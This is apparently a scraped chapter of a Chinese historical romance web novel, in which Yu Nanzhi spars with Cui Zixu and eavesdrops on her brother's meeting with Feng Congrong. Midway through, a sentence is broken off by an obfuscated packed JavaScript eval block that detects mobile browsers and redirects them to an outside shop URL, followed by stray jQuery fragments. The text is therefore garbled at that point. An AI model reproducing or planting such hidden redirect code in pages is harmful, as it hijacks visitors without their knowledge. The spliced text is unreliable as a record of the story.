“惊扰娘子,是我不是,望虞二娘子原谅一二。”崔子煦认错认得干脆,没有半点儿推诿。
青年忽地俯身,腰间垂下的长长丝绦扫过舞筵,垂落的广袖边缘无意扫过虞南枝的绣鞋鞋面。
缀着珍珠的鞋尖微微后缩,虞南枝捂着脖颈,一脸警惕地盯着崔子煦的动作。
这个家伙的心里准憋着坏水。
崔子煦若无其事地垂眸巡视,手指拂过织金地毯的纹路,突地在虞南枝方才驻足的地方停顿,原本低垂的眼眸倏地抬起,平静无波的眼底终于掀起波澜。
找到了。
他拈起一枚滚落的金珠,指尖托着向虞南枝递来。
崔子煦的手生得很好看,指节修长如玉,骨相匀亭,那枚金珠卧在他掌心,金光流转,灼灼夺目。
虞南枝眸光微凝,待看清上头熟悉的宝相莲花纹,心头猛地一跳,下意识反手去够背后的璎珞长链,却在触到空荡荡的链尾时,心头一滞——
崔子煦手中的这颗金珠,分明就是她长链末端遗落的的那颗尾珠。
虞南枝意外崔子煦竟然会多此一举。
毕竟一颗金珠落了便落了,回去再寻一颗一模一样的补上便可。
崔子煦不清楚虞南枝心里的百转千回,只道:“遗珠在此,原物奉上。”
“遗珠?”虞南枝冷哼一声,没有再装作一副唯唯诺诺的模样,毕竟经过了长公主府长廊和镇国公府书阁的那两遭,他们大致对彼此是什么货色,隐隐有了感觉,“这两个字,无论是国公府中人,还是哪家的主人或宾客,都没有人敢在我面前提及。”
错换身份十五载,真假千金人尽皆知,这是镇国公府的痛点。
在外人看来亦是虞南枝心中的痛点。
被人顶替身份享荣华富贵、锦衣玉食数十年,还能无怨亦无憎,那是圣人。
虞南枝不是圣人,但要说多怨多恨是没有的,如今这般架势多半是装给崔子煦看的。
崔子煦不急亦不恼,徐徐讲道:“南海有一村谓之曰合浦,以养蚌采珠为生。一日收蚌时,不慎遗落一蚌,数十年后,方才被寻回。蚌壳开时,一珠现而满室光华,珠光流转,远胜昔年别蚌所开之珠。故有人谓之:‘遗珠可值千金。’”
故事讲完,他的目光若有所思落在虞南枝身上,仿佛无声发问:“真假千金,遗珠复得,这些你真的在乎吗?”
赞之以千金,问之欲叩心。
虞南枝胸膛似有惊涛拍岸,心里隐隐发毛,有一种被人看透的感觉。
她很不喜欢。
“虞二娘子如何想?”崔子煦嗓音温润,却字字如刃。
眼下崔子煦的态度着实奇怪,虞南枝不明所以,只抬眸浅笑,另辟蹊径道:“要我说这里面最可怜的就是那枚老蚌,好不容易逃出生天,安稳存活了数十年,却还是一朝被人开膛破肚,只为了取它腹中之珠。”
崔子煦敏锐察觉到虞南枝情绪里一丝丝不悦,尤其是在他刚刚的话出口以后,心知自己怕是弄巧成拙,补救道:“老蚌食水中微尘而生,采珠人赖蚌而活,各有缘故,全赖人心怎么看罢了。”
虞南枝就知道他会如此诡辩,再聊下去也没有多少意义,何必多费口舌。
她冷哼一声,抓过崔子煦掌心的金珠,施施然离开了。
崔子煦轻碾过指尖,望着她缥碧的身影逐渐远去,在涌动的人群中消失不见,这才终于收回视线。
少女身上淡淡的茉莉香萦绕原地,像是雨后初霁漾起的雾,倏地升起,又被风带走地猝不及防。
丝竹之声依旧在,珠箔飘零空照影。
崔子煦负手,穿过喧闹的人潮,吩咐候在暖阁外的仆役:“我们回府,不必等谢三郎了。”
另一边,虞南枝好容易回到原座,酒壶中的三勒浆尚余了少许,恰好够一杯的量。她一边把着酒盏,一边漫不经心地往舞筵上四处扫视。
虞秋知与左拾遗家的小娘子二人闹成了一团,正手挽着手跳从南蛮传过来的踏歌舞,几乎忘乎所以,而虞书淮还有冯苁蓉……
……他们竟然不见了!
宾客席间、玉阶台上皆寻不到他们影踪。
虞南枝起身,拨开隔断轻纱,靠坐在窗边的毡媷上,推开半隙窗叶。
【天!刚刚山茶那边传消息过来,说她那边有一男一女正在会面。】
虞南枝眉头微挑,久违的声音重新入耳。
这样的话,清河郡王那个讨厌鬼应该已经走了。
她思忖。
窗外墙上攀附的铁线莲继续嘀咕:【那个小娘子一身胡服,好好不英气,至于那个郎君脸好像没有什么表情。】
得嘞,终于找到人了。
这么明显的特征,一听就知道是冯苁蓉和虞书淮。
虞南枝耳朵贴紧窗棂,听起了铁线莲的实时转述。
###
从暖阁出去,拐过一道弯,便是一条抄手游廊,与暖阁内的喧嚣仅一墙之隔,却清净的过分。
一男一女此时正在此处相对而立。
冯苁蓉叉手道:“苁蓉在此谢过虞二兄,方才若没有虞二兄落场相助,我怕是要当众出丑了。”
“冯五娘子言重,”虞书淮一板一眼道,“虽说无舞不成乐,无乐不成舞,但五娘子舞技高超,纵无羯鼓相和,亦是回裾转袖若飞雪,左鋋右鋋生旋风,谈何出丑?”①
冯苁蓉以袖掩唇,低低笑了两声。
几年不见,这个家伙竟还是这般的不解风情。
不过,他竟也能欣赏自己的舞姿之美了。
那句赞她的诗听着也不错。
虞书淮有些摸不着头脑,他好像也没做什么惹笑的事啊。
眼见他骤然呆愣模样,冯苁蓉顿觉无奈。
也不知道他这样究竟是怎么考中进士,成为被阿耶和中书省的官员看好的后起之秀的。
她叹了口气,从身侧的小包里取出一封信,往虞书淮面前一递,“好了,这是我阿耶让我带给你的。”
冯少监本是要让下人把信送到镇国公府,还是冯苁蓉听说镇国公府接了平原侯府的帖子,猜到虞书淮必然出席,特地主动请缨,提出亲自替父亲跑一趟。
廊下微风浮动,几粒簌雪遗落在二人衣袂间,冯苁蓉指尖仍旧捏着那枚信笺,手腕间滑落的两枚金臂钏相撞,叮咚作响。
虞书淮无意间瞟见她袖口绣的赪霞色凤凰花纹,忽然想起四年前初秋的游乐原,她骑马纵奔,偶然间寻得了一棵凤凰花树,仰头望去,红艳满天,当时她便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849947|191493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说要将此花绣在衣服上,如今可算实现了。
“虞二兄,”冯苁蓉又将信往前递了几寸,雪白的信封衬得她指甲泛着珠贝似的淡粉,“不收吗?”
虞书淮倏地错开视线,很快恢复了从容不迫的模样,问道:“少监可还有什么交代?”
果然是满心满眼都是公事啊。
冯苁蓉反问:“中书省的事,你觉得阿耶会跟我说吗?”
年轻女娘身体略微前倾,两人的距离拉近了少许。
她衣襟上仿佛残留了苏合香,如蜜中藏刃,却又温暖甜润。
经了方才舞筵上一番折腾,鬓发间斜插的那根青翎已然摇摇欲坠,她一低头,竟从鬓边滑落。
在意识回笼之前,虞书淮已经摊开手,接住了那根翎羽。
如玉的掌心,躺了跟青翎,好似春日初冒的绿草。
冯苁蓉眸光轻闪,有些意外他竟然会多此一举。
就连虞书淮本人亦没有料到,他会做出如此举动。
他自幼熟读圣贤书,秉持的是“礼不逾节,不侵侮,不好狎”,这般行为实在是逾矩冒昧了些。②
但无论如何,总是他不对
虞书淮张口欲说些什么,冯苁蓉却把他的话全堵在了喉咙里,“一物换一物。”
说罢,冯苁蓉一把将信封塞入虞书淮手中,悍然夺回了青翎,别在头顶。
“我先走咯。”她背对着虞书淮招招手,毫无留恋地离开,好似除了完成送信的任务,再别无他意。
虞书淮握着手中书信看了半晌,终究没有在这里启封,而是放入袖中,等回府再看冯少监有何吩咐。
谁都没有注意,廊外红山茶偶尔从雪地里探出的头。
###
【山茶说那个娘子多半喜欢那位郎君,而那位郎君还没开窍呢。】
铁线莲叽叽喳喳。
虞南枝听得津津有味,仿佛长廊上的场景就出现在她眼前似的。
青梅竹马,久别重逢,木呆子遇上明艳飒姐。
轻而易举就能想到许多词语来形容。
她单手撑着下巴,分析着冯苁蓉和虞书淮之间的关系。
首先,苁蓉姐姐对自家二兄有意这点,是完全能够肯定的。
像她那样女子,如果不喜欢,要么视若无睹,要么就跟对何十一郎同戚二郎那般将人胖揍一顿,压根懒得费半点心思。
只可惜遇上了不解风情的二兄。
人情练达、为人处世上面,二兄都没有多大的问题,有些时候是固执了些,却都是为了维护他的原则。但是,他偏偏情窍未开,不通男女之情。
不,不对。
虞南枝回忆着铁线莲转述的细节,推翻了刚刚结论,关键在——
那枚青翎。
二兄的举动表明,他也不是不在乎苁蓉姐姐,下意识的反应是骗不了人的。
如果是这样,就不单单是妾有意,郎亦有情啊。
只是这个情,当事人还没有发现罢了。
这事儿有戏!
择了苁蓉姐姐的花枝,就得把事情办得尽善尽美些,明日得在小报上把二兄的名字加上。
虞南枝暗自记下一笔。
应该很快就能拿到那二十贯的尾款了。